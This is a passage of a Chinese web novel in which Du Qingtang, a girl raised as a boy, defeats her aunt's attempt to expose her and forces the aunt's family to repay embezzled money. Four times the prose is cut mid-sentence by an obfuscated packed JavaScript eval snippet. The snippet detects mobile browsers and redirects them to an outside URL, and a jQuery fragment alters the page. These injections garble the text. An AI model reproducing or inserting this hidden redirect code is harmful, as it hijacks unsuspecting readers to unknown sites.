杜五丫和杜七丫呱唧鼓掌,异口同声:“棠哥儿真厉害!” 杜青棠嘴角抽搐,哄小孩儿呢这是。 “五姐七丫,你们快来给我搭把手,好沉,我拉不上来。”杜六丫抓着杆子,两条胳膊颤巍巍,鼻尖冒出汗。 “哇——好大一条鱼!”杜七丫欣喜若狂,“六姐坚持住,我这就来帮你!” 杜青棠将躲在泥沙里的螃蟹拨进木桶,抬眸看去,三个姑娘已经合力将鱼弄了上来。 鲢鱼长约两尺,杜七丫和杜六丫使出吃奶的力气才能控制住它。 鲢鱼不甘甩尾,迸溅的水珠折射出绚烂光彩。 “这条鱼可以卖好多钱!” “真是太好了!” 银铃般的笑声回荡,引得过路村民驻足围观。 阳光下,姑娘们的笑脸比那水珠的光亮还要绚烂动人。 ...... 这处的鱼虾捞得差不多,杜青棠和四个姑娘转移阵地,到另一边捞鱼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899159|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>被欢呼声吸引过来的村民见杜家姑娘们捞了很多鱼,很难不心动,纷纷加入到捞鱼的队伍中。 多亏桃源河里鱼丰虾富,否则怕是要被捞空。 装满四个木桶,杜青棠收起网兜:“差不多了,回去吧。” “好嘞!” 装载鱼虾的木桶挺沉,杜五丫和杜六丫先送一个回去,紧接着杜青棠和杜八丫也抬着桶走了,留杜七丫在原地看守,以防剩下两桶被手脚不干净的人摸走,一条鱼能换几个铜板呢。 走到半路,迎面跑来杜六丫,气喘吁吁地喊:“八丫!棠哥儿!” “怎么了?跑这么急作甚?” “舅母来了!”杜七丫跑到跟前,扶着膝盖呼哧喘气,“她还带了个孙大夫过来,这会儿正在门口坐着。” 杜八丫:“孙大夫?他来作甚?” 杜七丫:“不知道,我放下桶就走了,还没来得及打听。” 这位孙大夫是隔壁小溪村的,年轻时在县城的医馆做学徒,回来后自立门户,是这一带唯一的大夫。 他医术不错,只要不是疑难绝症都能治好,村民们有个头疼脑热就找他,好得快,也放心。 孙大夫是个热心肠,还会免费给看不起病的人治病,唯一引人诟病的,就是他嘴巴不够严实,哪个人得了什么病,他前脚给人看过,后脚就叭叭出去,宣扬得人尽皆知。 为此,他没少被人指着鼻子骂。 朱氏带着孙大夫来杜家,杜青棠就知道她打的什么算盘了。 “来得好啊,我还怕她不来。” 杜八丫听得满头雾水:“棠哥儿你说啥呢?” 杜青棠注意到杜五丫也来了,摇头:“没什么,我去看看是怎么回事。” 她让四个姑娘去抬剩下的两桶鱼,一个人半挪半抬,把大半桶鱼半弄回去 “呦,捞了这么多鱼?”杜青棠刚把木桶推进灶房,朱氏闻着味儿来了,指着两条最大的,颐指气使道,“单独拿个盆,等会儿这两条我带回去。” 杜青棠不跟她废话,开门见山问:“舅母来我家做什么?” 朱氏暗搓搓磨牙,忍住挠花杜青棠脸的冲动:“前阵子你说你赶夜路摔了个跟头,我担心得吃不下睡不好,生怕你摔出什么好歹。不巧家里出了点事,闹得人心惶惶,直到现在才消停些,今儿请孙大夫过来给你瞧瞧,瞧过我才放心。” 杜青棠:“你别这样,我害怕。” 朱氏:“......” 死丫头年纪不大,嘴皮子倒是利索得很。 等着吧,等孙大夫诊完脉,揭穿死丫头是女子而非男子,看她还怎么嚣张! “说起来,棠哥儿长这么大,孙大夫一次都没给她诊过脉。”朱氏扭头,“孙大夫,您待会儿可要仔细再仔细,棠哥儿可是杜家的独苗苗......” 朱氏叽里呱啦,杜青棠嫌她吵,左耳进右耳出,随着她的视线看向门外。 须发花白但精神抖擞的孙大夫拎着药箱进来,他的身后,元氏眼里含着两汪泪,惊恐与哀求交织。 惊恐是对着孙大夫,哀求则是对着朱氏。 可惜朱氏铁了心要整治杜青棠,让她也尝一尝身败名裂的滋味,看也不看元氏,母鸡一样扑腾着手臂,招呼孙大夫坐下。 “棠哥儿,你怎么还直愣愣地杵在那儿,还不赶紧过来。” 杜青棠她敢让孙大夫诊脉吗? 一旦被发现是女子,杜青棠就完了,杜家也完了。 杜青棠和元氏这两个贱人害得盛哥儿不能去私塾,只能躲在家里,就该被人戳脊梁骨,落得一身臭名! 在朱氏兴奋的目光下,杜青棠施施然落座:“那就麻烦您了。” 朱氏:“???”她疯了吗? 元氏:“棠哥儿!!!” 11. 011 杜青棠将手腕搭在脉枕上,指尖残留湿意,衣袖也半湿,神色平静:“那就麻烦您了。” 孙大夫生了一张圆脸,咧开嘴,笑起来像弥勒佛,声音不紧不慢:“这么冷的天,衣服湿了怕是要感染风寒。” 杜青棠从善如流:“我待会儿就换。” 孙大夫嗯了一声,沉下心来诊脉。 三言两语间,朱氏从震惊中回过神,眼珠子都不会转了,死死盯着杜青棠,眼里满是难以置信。 这个死丫头为何如此淡定? 难道她不知道大夫可以通过脉象判断一个人是男是女? 还是说,是盛哥儿搞错了,其实孙大夫没这个本事? 朱氏素来无脑信任元盛,她更觉得杜青棠不清楚有这么回事。 等孙大夫揭穿元氏死守多年的秘密,死丫头怕是要活活吓死! 吓死最好,也算给盛哥儿报仇了。 元氏虽然蠢笨如猪,但她可以挣钱,没了杜青棠的撺掇,谅她也翻不出元平和自己的五指山。 朱氏的算盘打得啪啪响,元氏在这时冲进来:“孙大夫,我家棠哥儿好好的,一点事都没有,用不着你给她诊脉,让你白跑一趟......” “诶诶,你干什么?”朱氏哪能容许元氏破坏他们的计划,一把捂住她的嘴,掐她腰上的软肉,“孙大夫等了这么久,怎么能让他白跑一趟?我钱都付了,棠哥儿读书辛苦,就算没有大病,有个什么小疼小病也能尽早医治,你别捣乱,影响了孙大夫诊脉我可饶不了你!” 元氏挣扎,可她哪里是腰宽膀圆的朱氏的对手,又是捂嘴又是掐肉,只能泪眼汪汪地看着杜青棠,盼着杜青棠能清醒过来,中断孙大夫的诊脉。 可惜她注定要失望了。 杜青棠四平八稳地坐着,目不斜视,仿佛看不到亲娘和舅母的肢体交流。 “咦?”孙大夫突然出声,疑惑地瞅了眼杜青棠。 朱氏狂喜,瞪着圆咕隆咚的眼睛,一眨不眨地盯着孙大夫,生怕错过秘密揭晓的关键时刻。 “嘶,不对啊。”孙大夫眉头挤出一个疙瘩,“左手给我。” 杜青棠照办。 朱氏不满啧了一声,老东西真没用,这么简单的脉象都判断不出来,还要换另一只手。 元氏心脏快要从嗓子眼里蹦出来,她拼命挣扎,发出语焉不详的低吼,哀求的目光中夹杂怨怼。 她为什么要这么做? 她难道不知道,棠姐儿是女子的秘密一旦泄露,大房的一切都将落入二房和三房的手里? 朱氏见孙大夫诊完右手换左手,然后又抓着杜青棠的右手捣鼓,表情非同一般的凝重,急得像是热锅上的蚂蚁:“孙大夫,你倒是给个准话,这换来换去到底是个什么情况?” “急什么?”孙大夫冲她翻个白眼,杜青棠和元氏都没说啥,就她叽叽歪歪,比地里的癞蛤蟆还烦人。 朱氏讪讪闭嘴,在心里将孙大夫骂了千八百遍。 两只手又一轮,孙大夫总算停下:“棠哥儿的脉象......” 朱氏急声问:“脉象咋了?” 孙大夫轻捻胡须,当着朱氏和元家六口人的面郑重宣布:“棠哥儿没什么问题。” 朱氏:“???” 朱氏傻眼:“你说啥?没问题?怎么可能没问题?姓孙的你是不是压根没用心给棠哥儿诊脉?好你个庸医,坑蒙拐骗骗到老娘头上来了,看我不打死你个老东西!” 孙大夫是个大嘴巴,口才更是一绝,哪里受得了这个气,当即拍案而起,指着朱氏一通输出,唾沫星子喷她一脸。 “你说我是庸医?我还说你是黑心肝的毒妇呢!” “之前是你说棠哥儿病得不轻,火急火燎拉我过来,棠哥儿不在家,硬是拽着我在外头吹了小半个时辰的冷风,险些把我冻成冰坨子!” “我还以为棠哥儿得了多严重的病,结果你猜怎么着?棠哥儿啥事也没有,顶多身体有些虚,她正在长身体,还要读书,吃不到什么好的,身体虚点正常。” “你个死婆子胡说八道,诅咒自己的亲外甥,也不怕烂了舌头!” 孙大夫逮着朱氏一顿臭骂,骂得她两眼发直,说不出一个字。 另一边,元氏恢复自由,被孙大夫的骂声吓得从劫后余生的狂喜中回神,扑上去一把搂住杜青棠:“棠哥儿!娘的棠哥儿!你要吓死娘了!” 杜青棠:“......” 朱氏顶着满脸的唾沫星子,还是不甘心:“除了身体虚,就没有其他毛病?” “滚滚滚!死婆子不安好心,咒自个儿的亲外甥,回头我可得好好跟大家伙儿说说你的黑心肝!” 孙大夫冷哼,背上药箱扬长而去。 “盛哥儿他娘,你这是做什么?你想害死棠哥儿吗?”元氏气得浑身发抖,尖声质问朱氏。 哦豁,终于硬气了一回。 杜青棠刚感慨完,元氏膝盖一弯,扑通跪下:“千错万错都是我的错,要打要骂只管向我来,棠哥儿她......”的秘密绝不能让外人知道。 余光瞥见门口探头探脑的四个姑娘,元氏咽下后面的话,对着朱氏砰砰磕头。 声音清脆,一听就是个好头。 杜青棠:“......” 杜青棠踢开元氏抓着她袍角的手,三两步上前,直勾勾盯着朱氏。 她比朱氏矮半个头,气势上却犹如泰山压顶,压得朱氏呼吸急促眼神乱飞。 “舅母。” 朱氏不知道这其中究竟出了什么问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899160|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,为什么孙大夫没诊出杜青棠的真实性别。 莫非他真是个庸医,连最基本的性别都判断不出来? 她得赶紧回去,把这个坏消息告诉盛哥儿。 仇肯定是要报的,但是得换个法子。 朱氏干笑两声:“既然棠哥儿没事,我就放心了,家里还有一堆事情,我就先回去了。” 正要溜之大吉,被杜青棠拽住:“舅母不是要鱼?你随我去外面,挑几条肥美的。” 朱氏终究没忍住诱惑:“你看着帮我挑吧,我就在这等着。” 死丫头的眼神跟刀子似的,要是一起去,趁她不备下黑手可就完了。 来日方长,逃得了初一逃不了十五,她早晚要让死丫头原形毕露! 朱氏暗暗发誓,越想越憋屈,眼珠一转,反手给了元氏一巴掌。 元氏经历大喜大悲,这一巴掌打得她头脑发昏,两眼一翻当场厥了过去。 “娘!” 四个姑娘冲进来,手忙脚乱地把元氏抬到她们屋的炕上。 她们虽然气元氏胳膊肘往外拐,但是相依为命多年,没法对她见死不救。 朱氏啐道:“一屋子赔钱货!” 杜青棠很快回到灶房,只是手里提的不是鱼,而是一把锃亮的菜刀。 只见杜青棠右手提着菜刀,左手把马扎放在门口,一屁股坐下,将狭窄的木门堵了个严实。 不祥的预感涌上心头,朱氏暗生警惕:“你想干什么?” 死丫头疯疯癫癫,她今天不会把小命留在这吧? 杜青棠大马金刀地堵在门口,手中菜刀寒光凛冽:“闹完了吗?” 朱氏想说这事没完,但是人在屋檐下,不得不低头,更别说她手里有刀:“完、完了。” “你闹完了,那么接下来就该我了。” 杜青棠忽而冷笑,露出白森森的牙齿,手起刀落,伴随“咔嚓”一声,半个刀身嵌进门框。 “今天你让我不高兴了,我不高兴就会发疯,一发疯就想砍人玩。” “想让我不发疯可以,赶紧赔钱。” 朱氏没反应过来:“赔什么钱?” “精神损失费。”杜青棠理直气壮,“还有这些年我娘送去元家的银子,全都给我一个子儿不差地还回来。” “我家的钱在你那里放了十几年,除了本金还要给利息,少一个铜板我就砍人。” “我不但砍你,还要砍元平和元盛,让你们一家三口去地下团聚。” “还钱?”朱氏从未见过如此厚颜无耻之人,“那些钱是你娘给你舅舅的,凭什么还给你?没钱!不还!” “不还钱可以,你要做好今天走不出这扇门的准备。” 杜青棠拔出菜刀,直奔朱氏面门而去。 12. 012 “要么还钱,要么把命留下。”杜青棠持刀,向朱氏逼近。 朱氏看出她是动真格的,吓得魂飞魄散,连滚带爬地往外跑。 娘诶,她上次还真说对了,死丫头疯起来真的会砍人! 身后的脚步声越来越近,朱氏生怕杜青棠一刀下去,她当场毙命,扯开嗓子大喊。 “杀人了!杀人了!” “救命啊!杜青棠杀人了!” 声音惊动桃源河边捞鱼的村民,纷纷放下网兜赶过来。 他们赶到杜家门外,正好看到杜青棠一个飞踢踹上朱氏的屁股,朱氏当场摔个狗啃泥。 “哎呦,怎么还动刀子了?” “棠哥儿把刀放下,盛哥儿他娘你别哭,你跟我们说说,这到底是怎么一回事,棠哥儿为啥......” 朱氏被杜青棠两眼发红的癫狂模样吓得不轻,她太胖翻不过身,索性脸朝下趴着,哭天抢地:“我听说前阵子棠哥儿摔了跤,特地请孙大夫过来给她瞧瞧,没想到这个小畜生突然就发疯砍人,还说要杀了我!” 朱氏满脸土的狼狈样看得村民们嘴角直抽抽,又同情又好笑。 “啥?棠哥儿发疯砍人?” “棠哥儿脾气好,我从未见她跟谁红过脸,会不会是盛哥儿他娘做了什么恶事,惹毛她了?” 所有人看向杜青棠,她面无表情,手里的刀发出凛凛寒光,看起来很不好惹,与往日的形象大相径庭。 “舅母没说错,我就是在发疯。” 众人惊讶地瞪大眼睛,以为自己听错了。 “我身体好好的,她却跟孙大夫说我病得不轻,不是咒我是什么?”杜青棠语气冷硬,“咒我死也就罢了,她还不还钱。” “还什么钱?” 杜青棠:“我爹英年早逝,我甚至没能见他最后一面,杜家孤儿寡母无人撑腰,我娘担心守不住钱财,就把辛苦挣到的钱交给舅舅代为保管。” “没想到他们会错了意,以为那些钱到他们手里就是他们的了,每次我娘去要钱都要看他们的脸色,就连我读书的束脩,他们也说是元家给我的。” 朱氏没想到杜青棠会这么说,脸色微变,大声狡辩:“我可没说过这话!” “按理说,您和舅舅是我长辈,我理应孝敬您二位。”杜青棠话锋一转,“可我实在没办法了,家里穷得揭不开锅,只剩几个铜板,米缸也见底了,再这么下去我们姐弟就要饿死了。” “舅母您今日带着孙大夫登门,我以为您是在关心我,想着表哥读书辛苦,您和舅舅年事已高,也要补补身子,还打算把今天捞的鱼送一半给您。” 杜青棠说到这里,短暂地停顿了一下,背过身以袖拭泪。 村民看在眼里,很是唏嘘不忍。 “我一直以为棠哥儿她娘给元平送银子是贴补娘家,背地里没少跟我媳妇叨叨她不干人事,没想到真相竟然是这样。” “棠哥儿年纪还小,杜家没个男人护着,杜老大生前早就因为分家跟杜老二杜老三撕破脸,她们只能靠元平这个舅舅。” “兔子急了也会咬人,元平跟他媳妇太贪心了,还逢人就说他家供棠哥儿读书,真是臭不要脸!” “放屁!”朱氏听杜青棠卖惨,自个儿还被村民喷得狗血淋头,当下怒不可遏,抡起胳膊朝杜青棠的脸扇过去,“我让你胡说八道!” 杜青棠刀柄一转,刀刃对着朱氏:“你不怕死就尽管来。” 她出刀太快,朱氏不敢前进半步,生怕撞上去。 “这是怎么了?” 苍老的声音响起,众人循声看去,须发皆白的老者拄着拐杖走过来。 “方叔您来了!” 方洪海,桃源村村长。 “方”在桃源村不是大姓,方洪海却在村长这个位置上坐了小几十年,凭的就是他办事公正,大家都对他心服口服。 大家七嘴八舌地将杜元两家的事儿告诉方洪海,看似客观转述,实际上话里话外都偏向杜青棠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899161|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方洪海听完,眉毛皱得能夹死苍蝇,冷冷看向朱氏:“欠债还钱天经地义,你现在什么都别说了,赶紧把钱还给杜家。” 朱氏梗着脖子,理不直气也壮:“那些银子是元平他姐主动送去我家的,我又不知道她是想让我跟元平替她保管,还以为她心疼元平身子虚,贴补我家的。” 一旁有人附和:“棠哥儿她娘几次送钱我都在场,也没听她说什么保管,只说给元平和盛哥儿补补身子。” “我也可以作证!”又有人站出来,“而且我几次闻见杜家做荤食,那股子香味儿十里外都能闻见,不像揭不开锅。” 说话的两位都是元氏族人,前者是元盛的堂哥,后者则是住在元家隔壁的元五叔。 元五叔确实因为元盛无媒苟合、脚踩两条船不耻,但元氏族人理应同气连枝一致对外,更何况元盛这孩子有出息,他无法袖手旁观。 杜青棠应对如流:“我家的确买过肉,但那是我考入清苑书院,书院给予的奖励,买半斤肉庆祝一番有何不可?不过......这跟我讨债有什么关系?舅舅舅母昧下我家十多年的积蓄,我要求他们还钱,此乃天经地义!” 五叔公哑口无言,其他人则一脸赞同的表情。 朱氏大声嚷嚷:“杜家一家子赔钱货,能挣几个钱?除却束脩,早就被我们花光了,全没了!要钱没有,要命一条!” 钱进了她的口袋就是她的,谁也别想让她掏出去还给杜家。 只要她咬死了没钱,天王老子来了也没用! 这时,有人嘀咕:“元盛与人无媒苟合,他爹娘还做了这种缺德事,就算能考取功名,怕是也做不了官。” “此话怎讲?” “十多年前县里有个人科举走到最后一步,就因为他爹与妻妹通.奸,被朝廷革除功名,撵回了清苑县。” 元盛是朱氏的逆鳞,听到这话她顿时急眼了,气沉丹田大吼一声:“杜青棠她根本就不是个男娃,她是个女娃!” 13.013 嘈杂的议论声戛然而止。 村民们瞪大眼睛看杜青棠,嘴巴张得能塞进去一个鸡蛋。 “啥?棠哥儿是女娃?” “盛哥儿他娘脑子坏了不成?都说胡话了。” “棠哥儿那张脸比女娃还漂亮,万一呢?” 朱氏听着众人的议论,露出得逞的笑。 然而,想象中的杜青棠面色如土、惊慌失措的一幕并未出现,她气定神闲说道:“舅母怕不是年事已高,记性不好了,不久前孙大夫刚为我诊过脉,若我是女子,他不可能诊不出来。” “孙百草就是个大嘴巴,棠哥儿要真是个女娃,他能忍住不说?” “这比要他的命还难受哈哈哈哈哈哈!” 朱氏傻了眼,死丫头竟然知道大夫可以通过脉象判断男女? 那她之前...... 朱氏脑中闪过一道白光,恍然大悟。 原来死丫头早就知道他们的打算,将计就计,故意摆了她一道! 朱氏快要气疯了:“你们这些蠢货,她就是女娃!你们要是不信,我扒了她的衣服......” 方洪海不想搭理这个疯婆娘,面向人群喊一嗓子:“来个人,去请孙大夫来。” 陈叔和包叔行走在吃瓜第一线,大声嚷嚷:“我我我!让我去!” 方洪海一挥手,两个人就窜出去,迫不及待的样子看得人捧腹大笑。 朱氏不乐意:“请什么孙大夫,直接扒了她的衣服不就行了。” 死丫头跟老头子狼狈为奸,指不定怎么糊弄这群傻子呢。 方洪海不爱听这话,没好气地说:“你说棠哥儿是女娃,女娃脖子上能长出小疙瘩?” 众人看向杜青棠,她喉咙处有一点凸起,虽然小巧,但足够显眼。 朱氏惊恐尖叫:“怎么可能?” 一边喊,一边要上手摸杜青棠的喉结。 她看着杜青棠长大,杜青棠是男是女她最清楚不过,怎么可能长出男娃才有的喉结? 真是见了鬼了。 说不定是用了什么歪门邪道伪造出来的假喉结! 杜青棠可不想被朱氏摸,正欲闪避,陈叔的声音响起:“来了来了!孙大夫来了!” 众人震惊:“这么快?” “半路上发现掉了个东西,回来找。”孙大夫解释道。 方洪海三言两语说明情况:“你再给棠哥儿诊个脉,看她究竟是男是女,也好给大家一个交代。” 孙大夫让杜青棠伸手,一边嫌弃地看着朱氏:“死婆子,怎么又是你?之前咒你外甥死,现在又说她是个女娃,你咋不上天呢?” 朱氏:“......” 孙大夫很快诊完脉,当众宣布结果:“老头子行医数十年,可以向诸位保证,这孩子是个男娃。” “我就说嘛,女娃可长不出小疙瘩。” “长得好看的男娃多的是,盛哥儿他娘多半是失心疯了。” “不可能,绝对不可能!是不是你这个老不死的被她收买了?”朱氏大声质问。 孙大夫气得胡子都翘起来,掉头就走:“疯了!这婆子疯了!赶紧把她关起来,别让她像疯狗一样乱咬人!” “既已澄清我是男子,那么言归正传。”杜青棠朗声道,“我家每月至少挣三百文,一年就是四两,十二年就是四十八两,加上地里的产出,再除去这两年的束脩,共计七十二两,限两年之内归还。” 杜青棠非常善解人意地表示:“没钱可以打欠条,也可以以物抵债。” 元家的砖瓦房就很不错,气派敞亮,她眼馋很久了。 朱氏气得手指哆嗦,鼻孔翕张,像极了卖力耕地的老黄牛。 这一幕逗得村民们嗤嗤笑,不顾朱氏在场,盘算起元家有哪些值钱的东西。 “他家那头老驴能抵个三五两,还有那砖瓦房,比别家的都要气派,值个二三十两。” “不过话又说回来,元平两口子好吃懒做,哪来的钱起房子?” “那还用问?肯定是杜家的呗!” “嘶——他俩还真是趴在杜家人身上吃肉喝血啊!” 方洪海道:“棠哥儿的主意可行,还不上就用家里的东西抵债。这件事的确是元平两口子的错,再贪财也不能贪孤儿寡母的财,这些年苦了你们,就由我做主,除了那七十二两,再补偿你们二两银子如何?” “不行!我不答应!” 朱氏连本金都不想还给杜家,再补偿她们二两银子,还不如要她的命。 方洪海沉下脸:“盛哥儿他娘,适可而止!先前盛哥儿那件事闹得沸沸扬扬,连带着我这个村长都被其他村的看笑话,你不要脸我还要脸,要是今天的事再闹大......” 朱氏想起之前某个村民说的话,顿时一个激灵。 她还真不能拿元盛的前程开玩笑。 朱氏的心在滴血,却又不得不捏着鼻子同意:“就按你说的办。” 方洪海:“那你是以物抵债,还是全部写欠条?” 不待朱氏回答,杜青棠先开口:“七十四两不是小数目,我觉得还是得征求一下家里人的意见。” 她看向右边,语气慢悠悠,带着难以言说的意味:“你说呢,表哥?” 众人跟着看过去,元盛正一脸尴尬地站在三叔公家门外的树旁。 “他怎么现在才来?” “好些天没见他,怎么瘦得跟猴儿似的?” “做了坏事,担心咱们蛐蛐他,吃不下睡不着,可不就瘦成这样。” 元盛:“......” 朱氏去请孙大夫,元盛虽然留在家中,但是一直在关注杜家。 这厢孙大夫怒气冲冲地从元家门前走过,他却没听到杜家传来什么动静,料到事出有变,连忙出门查探。 果不其然,他们的计划失败了。 朱氏不仅没能揭穿杜青棠的女子身份,还被她提着刀追得满地跑。 元盛躲在暗处偷听,气朱氏成事不足败事有余,恨不得掐死杜青棠。 他没想到杜青棠会发现自己,这会儿大家都盯着他,想跑路都没机会,只能硬着头皮走出来,一边虚伪地解释:“我看书太过入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903360|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷,现在才赶过来,诸位见谅。” 杜青棠不想同他废话:“你们赶紧商量一下,这钱到底怎么还。” 朱氏不假思索:“当然是打欠条。” 杜青棠道:“舅母您可要考虑清楚,能否在两年之内还清七十二两。” 村民们听了直摇头。 “元家两口子都是懒货,盛哥儿又在读书,肯定还不上。” “当爹娘的欺负孤儿寡母,当儿子的脚踩两条船,还想骗好人家的姑娘,啧啧啧,真是一窝子臭虫。” 元盛臊得面红耳赤,脑子一抽张嘴就来:“不是可以以物抵债?我家的砖瓦房花了三十两建成,虽然住了四五年,加上屋里的桌椅橱柜,也能抵个二十五两。” “盛哥儿!”朱氏千算万算,怎么也没算到元盛会把家里的砖瓦房抵出去。 元盛充耳不闻,一心只想打肿脸充胖子:“这些年我也攒了些钱,约有二十两银子,今日我拿出二十两银子和房契地契,可否抵消五十两欠款?” 杜青棠睨了眼朱氏,她两眼发直脸色惨白,肥硕的身体摇摇欲坠:“成交。” “嚯!盛哥儿竟然把自家的房子抵出去了?” “元平要是知道,怕是得气吐血。” “他倒是不像他娘,只知耍泼赖账,还算个好的。” 元盛松了口气,读书人最重名声,若是能洗清臭名,十间砖瓦房也值得。 等他入朝为官,想要多少房子没有? 只是接下来一段日子可能要省吃俭用了,不过没关系,元雪到了说亲的年纪,可以给她找个好人家,挣一笔聘礼。 双方协定好之后,方洪海准备拟写欠条,杜青棠又道:“村长,除了欠条,我还想请您写一份断亲文书。” 众人惊呼:“断亲文书?” “棠哥儿这是要跟元家彻底断绝往来啊。” “她娘能答应吗?” “其实我娘早就想这么做了,只是顾及我们姐弟还小,离不开舅家的庇护。”杜青棠话锋一转,“如今我已长大成人,可以保护好姐姐们,想必爹泉下有知,也希望我这么做。” 听了这话,在场众人无不动容。 方洪海沉默良久:“盛哥儿他娘,你说呢?” 不待朱氏拒绝,元盛便抢先应下了:“可以!” 杜家人就是一群扫把星,或许远离才是最好的。 朱氏急得直瞪眼,要是断了亲,她就没法从元氏手里抠钱了! 偏生元盛满脑子都是洗白名声,压根没注意朱氏的眼神暗示,气得她捂着胸口直喘气。 “既然两家都没意见,就按照棠哥儿说的来。” 方洪海拟写欠条和断亲文书,双方按上手印,这事就算成了。 杜青棠收回手:“还望您二位尽快交出契书和银两,收拾东西搬出去。” 清亮的嗓音犹如魔音灌耳,朱氏浑身肥肉一颤,她意识到自己偷鸡不成蚀把米,想揭穿杜青棠的身份却被迫签下七十二两的欠条,还赔了最引以为傲的砖瓦房,只觉喉头一阵腥甜,“噗”的喷出一口血,厥了过去。 14.014 “娘!” 元盛虽然嫌弃元平和朱氏一事无成,但血脉亲缘无法割舍,他也不愿被人指责冷血无情,让他本就臭不可闻的名声雪上加霜。 见朱氏吐血晕厥,他立刻冲了上去。 杜青棠冷眼旁观:“寒舍简陋,就不留二位了。” 元盛深吸一口气,不去看杜青棠那张欠揍的脸,搀扶朱氏离开。 杜青棠对方洪海道谢,老人家摆摆手:“别杵在这儿了,散了吧。” 闹剧落下帷幕,村民们没热闹可看,纷纷作鸟兽散,最后只剩一人在原地。 “先生。”杜青棠上前拱手,“让您看笑话了。” 没错,来人正是刘童生。 刘童生捻须,将一沓宣纸交给杜青棠:“冬日农闲,闲来无事出了几道题,我家那几个小子都做过了,放在家里也是占位置,不如送来给你。” 短短几日的相处,杜青棠熟知刘童生的口是心非,闻言也不戳破,双手接过试题:“多谢先生,我会认真完成。” 刘童生满意颔首,又道:“根据以往惯例,新生初入清苑书院,教谕应当会考校背书和默写,你可准备妥当了?” 许是几日的教诲之恩,杜青棠在刘童生面前难得放松:“怎样才算准备妥当?” 噎得刘童生吹胡子瞪眼,没好气地道:“好你个杜家小子,都敢调侃起我来了!” “学生知错,先生莫要怪罪。”杜青棠见好就收,“今日辛苦您跑这一趟,择日不如撞日,不如您即刻考校学生一番,算是亲自验证学生是否准备妥当。” 刘童生倒也爽快,二话不说就应下了。 灶房里因为先前的追逐战乱糟糟的,杜青棠带刘童生去了她的屋。 黄泥房狭小逼仄,除去炕、桌、矮柜,鲜有余地。 杜青棠请刘童生坐下:“寒舍简陋,先生莫见怪。” 刘童生似笑非笑:“之前你赶走元盛母子也是用的这个说辞。” 杜青棠:“......” “不说了,开始吧。”眼看杜青棠要恼了,刘童生也见好就收,“先从四书开始。” 入院考核之前,杜青棠在深入解读四书五经的时候顺便背诵了全篇。 这几日,她每日晨起背诵,早已将这几本书倒背如流。 杜青棠垂手恭立,调整呼吸,开始背诵《大学》。 “大学之道,在明明德......” 她背诵的语速极快,远超常人,不过一会儿便背完了整本书。 接下来又是《中庸》。 背完四书背五经,背完五经又考察默写情况。 刘童生出后半句,杜青棠填前半句,反之亦然。 结束后,杜青棠握笔的手捏出红印,刘童生也捶着后腰直呼“人老身子吃不消”。 杜青棠再三道谢,去灶房打包了六条大鱼,草绳穿过鱼唇,拎给刘童生:“劳烦您花这么长时间考校我,刚从河里捞的鱼,活蹦乱跳的,您带回去跟家里人一起吃,红烧还是做汤都好。” 刘童生推辞,最终还是没能拗得过杜青棠,收下了“束脩”。 “去了清苑书院好好学,肯定能学到东西,就算不考科举,也足以让你受益终生。” “是,学生谨记先生教诲。” 先生。 刘童生笑了声,拎着鱼离开杜家。 ...... 送走刘童生,杜青棠去找元氏。 元氏一直没冒头,她得去看看,这人是不是又在作妖。 然而左脚还未迈过门槛,就被杜七丫一把抱住。 杜七丫高兴得又叫又跳:“啊啊啊棠哥儿你简直太厉害了!” 其他三个姑娘也都咧嘴笑,眼睛亮晶晶,比之前捞了四桶鱼还要兴奋。 “所以咱们要住新房子了,也不用每天吃野菜了?” “真是太好了,跟做梦一样。” “不过就算有钱了,也不能随意挥霍,往后日子还长,多攒点钱没坏处。” “道理我懂,钱得用在刀刃上,但是家里的几床被褥实在太破了,还有棠哥儿的袄子,棉絮都出来了,一点也不保暖,得换......” 杜青棠听杜五丫絮絮叨叨,嘴角扬起连她自己都没发现的弧度。 这一切都是玉坠的功劳。 因为它,孙大夫才没发现她是个女子。 